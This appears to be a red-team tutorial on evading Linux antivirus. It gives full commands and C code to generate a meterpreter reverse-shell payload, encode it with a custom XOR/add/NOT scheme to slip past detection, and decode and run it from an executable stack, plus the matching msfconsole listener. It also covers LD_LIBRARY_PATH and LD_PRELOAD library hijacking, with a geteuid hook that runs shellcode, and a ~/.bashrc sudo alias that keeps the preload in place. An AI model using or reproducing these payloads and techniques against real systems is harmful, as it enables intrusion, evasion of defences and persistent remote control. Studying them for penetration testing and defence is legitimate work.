Linux antivirus solutions aren’t as robust as Windows, given that the market share of Linux client machines is pretty small. Linux is primarily used for servers and other network infrastructure. Regardless, we need to make sure we take action to obfuscate our payloads so they don’t get detected by host-based intrusion detection systems (IDS).
Encoding payloads
The following discussion goes over using xor-and-not-and-xor (XANAX)
encoding for delivering meterpreter payloads. First, we’ll generate a
payload.c
file containing our meterpreter payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=${LHOST} LPORT=${LPORT} -f c -o payload.c
We use the following encoder.c
code to encode our meterpreter payload with a
four (4) byte XANAX key. We randomly generate this key, so don’t use the same
one identified here:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef struct {
unsigned char xor1;
unsigned char add1;
unsigned char xor2;
unsigned char add2;
} xanax_keys;
static const xanax_keys keys = {.xor1 = 0xe,
.add1 = 0x75,
.xor2 = 0xbc,
.add2 = 0xc9};
static unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x20\xfb\xc0\xa8\x2d\xbe\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
void main() {
unsigned int buf_len = (unsigned int)sizeof(buf);
for (unsigned int i = 0; i < buf_len; i++) {
unsigned char e = buf[i];
e ^= keys.xor1;
e += keys.add1;
e = ~e;
e += keys.add2;
e ^= keys.xor2;
printf("\\x%02x", e);
}
}
We build encoder.c
by invoking the following:
gcc encoder.c -o encoder.out
Executing encoder.out
will print our encoded meterpreter payload to the
terminal. We create our runner.c
code, which will decode the encoded payload
with the same XANAX key and execute the buffer on the stack:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef struct {
unsigned char xor1;
unsigned char add1;
unsigned char xor2;
unsigned char add2;
} xanax_keys;
static const xanax_keys keys = {.xor1 = 0xe,
.add1 = 0x75,
.xor2 = 0xbc,
.add2 = 0xc9};
void main() {
unsigned char buf[] =
"\xa8\xde\x53\xf0\x41\x00\x27\x89\xb1\x70\xc7\xac\xa8\x30\x53\x9b\xb8\x43"
"\x53\xf6\x43\xee\xf4\xb1\x74\x39\x61\x48\x53\xf3\xb8\x40\x49\x53\x90\x41"
"\x00\x53\xfb\xbe\x53\xf8\xbf\xee\xf4\xb1\x74\x39\x61\xa2\xb1\x06\xb1\x20"
"\xfb\xf9\x99\xe2\x39\x11\x8c\x1f\x48\xb1\x70\xd7\x53\x89\x43\x53\x93\x41"
"\xee\xf4\x40\xb1\x74\x39\x60\x94\xb0\xde\x30\x65\x81\x46\x53\x9a\x41\x53"
"\xf9\x53\xf4\xb1\x70\xd6\xb1\xa8\xe7\xee\xf4\x40\x40\xbe\xb1\x74\x39\x60"
"\x36\x53\x9d\x41\x53\xf8\xbe\xee\xf4\xbf\x53\x5f\x43\xee\xf4\xb1\x74\x39"
"\x61\xcc\xde\xd7\xf9";
unsigned int buf_len = (unsigned int)sizeof(buf);
for (unsigned int i = 0; i < buf_len; i++) {
unsigned char e = buf[i];
e ^= keys.xor2;
e -= keys.add2;
e = ~e;
e -= keys.add1;
e ^= keys.xor1;
buf[i] = e;
}
((void (*)())buf)();
}
We compile the runner.c
ELF, making sure the stack is executable and
statically linking it so it can execute on the target:
gcc runner.c -o runner.out -z execstack -static
We can listen for this payload by invoking the following:
msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST ${LHOST}; set LPORT ${LPORT}; exploit"
Library hijacking
LD_LIBRARY_PATH
The LD_LIBRARY_PATH
environment variable can be used to point the linker
loader for the Linux operating system to a different path when loading a target
ELF. We can create a library, .so
file, that the target ELF needs and place it
in the LD_LIBRARY_PATH
, causing the linker loader to load our malicious code
instead of the original library code.
When creating a library to gain code execution, we must make sure to use the
__attribute__((constructor))
C attribute to declare the entrypoint for our
library. Here’s an example:
#include <stdlib.h>
static void run() __attribute__((constructor));
void run() {
system("touch /tmp/pwn.txt");
}
We can compile and create shared objects by invoking the following:
gcc -Wall -fPIC -c -o run.o run.c
gcc -shared -o run.so run.o
We can get a listing of an ELF’s dynamically linked libraries and their paths by
invoking ldd
. We can modify the LD_LIBRARY_PATH
environment variable with
this example invocation:
export LD_LIBRARY_PATH=/my/new/path
LD_PRELOAD
We can use the LD_PRELOAD
environment variable to specify a particular shared
object to load before starting execution of a target ELF. We can use this
feature to clobber the symbol of an already loaded shared object, enabling us to
gain code execution while also altering the target process’ code execution.
The following example clobbers the uid_t geteuid(void)
symbol to gain code
execution since geteuid
is called on the start of a process:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
static unsigned char buf[] = "<YOUR SHELLCODE HERE>";
// redefining geteuid
uid_t geteuid(void) {
// ask the linker load to get a pointer to the original geteuid
typeof(geteuid)* old_geteuid;
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
// fork to avoid crashing original process
if (fork() == 0) {
// make the shellcode buffer executable, then execute it
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void*)(((intptr_t)buf) & ~(pagesize - 1)), pagesize,
PROT_READ | PROT_EXEC)) {
return -1;
}
((void (*)())buf)();
} else {
// return call for original geteuid to parent process
return (*old_geteuid)();
}
}
We can compile this shared object by invoking the following:
gcc -Wall -fPIC -z execstack -c -o bad_geteuid.o bad_geteuid.c
gcc -shared -o bad_geteuid.so bad_geteuid.o -ldl
And we can specify that processes load this library with LD_PRELOAD
by
invoking the following:
export LD_PRELOAD=$(realpath bad_geteuid.so)
sudo
clobbers environment variables of the calling process, however, we can
still pass LD_PRELOAD
by creating an alias in ~/.bashrc
, for example:
alias sudo="sudo LD_PRELOAD=$(realpath ~/bad_geteuid.so)"